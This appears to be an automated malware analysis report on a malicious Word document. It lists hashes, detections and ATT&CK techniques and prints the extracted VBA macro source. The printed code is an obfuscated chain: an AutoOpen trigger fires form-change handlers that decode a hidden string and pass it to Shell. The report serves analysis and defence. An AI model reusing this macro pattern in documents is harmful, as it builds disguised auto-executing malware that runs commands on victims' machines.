Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0bb97e950eca0b7a…

MALICIOUS

Office (OLE)

209.0 KB Created: 2018-11-30 13:04:00 Authoring application: Microsoft Office Word First seen: 2019-03-10
MD5: 78d421e26d01ce577c098504afb69873 SHA-1: 84d76cca769a036ce610ac2fa5e78e2b4118c960 SHA-256: 0bb97e950eca0b7acaedfeefc4099724e07b02a0f7db77199202168bb1d41e81
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The Autoopen macro is present and calls the legacy WordBasic function 'PageAllForms' with the argument 'save', which is constructed from string concatenation. This suggests an attempt to execute arbitrary code or download a payload. The presence of a Shell() call further indicates malicious intent.

Heuristics 6

  • ClamAV: Doc.Malware.00536d-6769015-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6769015-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2772 bytes
SHA-256: dd397c19478e22c45304ab336dce5508a79ae63ca065111a06ed988bdf006d4b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Autoopen()
Dim st1 As String
st1 = "sa" + "ve"
PageAllForms st1
End Sub




Attribute VB_Name = "Form1"
Attribute VB_Base = "0{18598BD2-9617-44D3-8A8F-33A406A79DBE}{61FD6585-2F0E-4C38-A83C-524941834E73}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub ComboBox1_Change()

End Sub

Private Sub LastText_Change()
Dim lev2 As Integer
lev2 = Len(Form1.LastText)
Dim lev1 As String
lev1 = "A"
fh = "2"
lang_xw2 lev2
End Sub


Private Sub EditText1_Change()
Dim ind1 As String
ind1 = "1" + "001"
End Sub

Private Sub CommandButton1_Click()

End Sub


Private Sub CommandButton2_Click()

End Sub

Private Sub TextBox1_Change()
Dim s As String
s = " "
s = s + Form1.Text1
If Len(s) = 63 Then lang_xot
End Sub


Attribute VB_Name = "Module1"
Sub red_fix(ByRef b1, ByRef control, Cell1)
log2 = 1
With Form1
log2 = Len(.Text1)
If b1 < log2 Then
b = ""
doc_print_body .Text1, b1, b
If Cell1 <> b Then
b1 = b1 + 1
red_fix b1, control, Cell1
Else
control = b1
End If
End If
End With
End Sub


Sub DataFindChars(ext1, ByRef state_max)
Dim m1 As Integer
m1 = -1
state_max = ""
If ext1 = m1 Then
ext1 = m1
End If
If ext1 < 1 Then
doc_print_body Form1.Text1, Len(Form1.Text1) + ext1, state_max
Else
doc_print_body Form1.Text1, ext1, state_max
End If
End Sub

Sub diggites_replace(C1, ByRef op)
op = ""
st1 = 1
replacediggites st1, op, C1
End Sub


Sub replacediggites(ByRef pointA, ByRef need, later)
f_str = Len(later)
If pointA <= f_str Then
ch = ""
doc_print_body later, pointA, ch
idial = 1
strings_attached ch, idial
st = ""
DataFindChars idial - 2, st
need = need + st
pointA = pointA + 1
replacediggites pointA, need, later
End If
End Sub

Sub PageAllForms(s1)
s1 = s1 + "OK"
Form1.TextBox1 = s1
End Sub

Sub doc_print_body(a1, pB, ByRef rmin)
s1 = Left(a1, pB)
s1 = s1 + ""
rmin = Right(s1, 1)
End Sub

Sub lang_xot()
Dim str2 As String
diggites_replace Form1.date1, str2
Form1.EditText1 = str2
str2 = str2 + ""
Form1.LastText = str2
End Sub

Sub lang_xw2(m)
Dim j As Integer
Dim str1 As String
With Form1
j = 517 - m
str1 = "" + .LastText
End With
If 0 = j Then Shell str1, j
End Sub

Sub strings_attached(per2, ByRef arg1)
arg1 = 0
sb1 = 1
red_fix sb1, arg1, per2
End Sub

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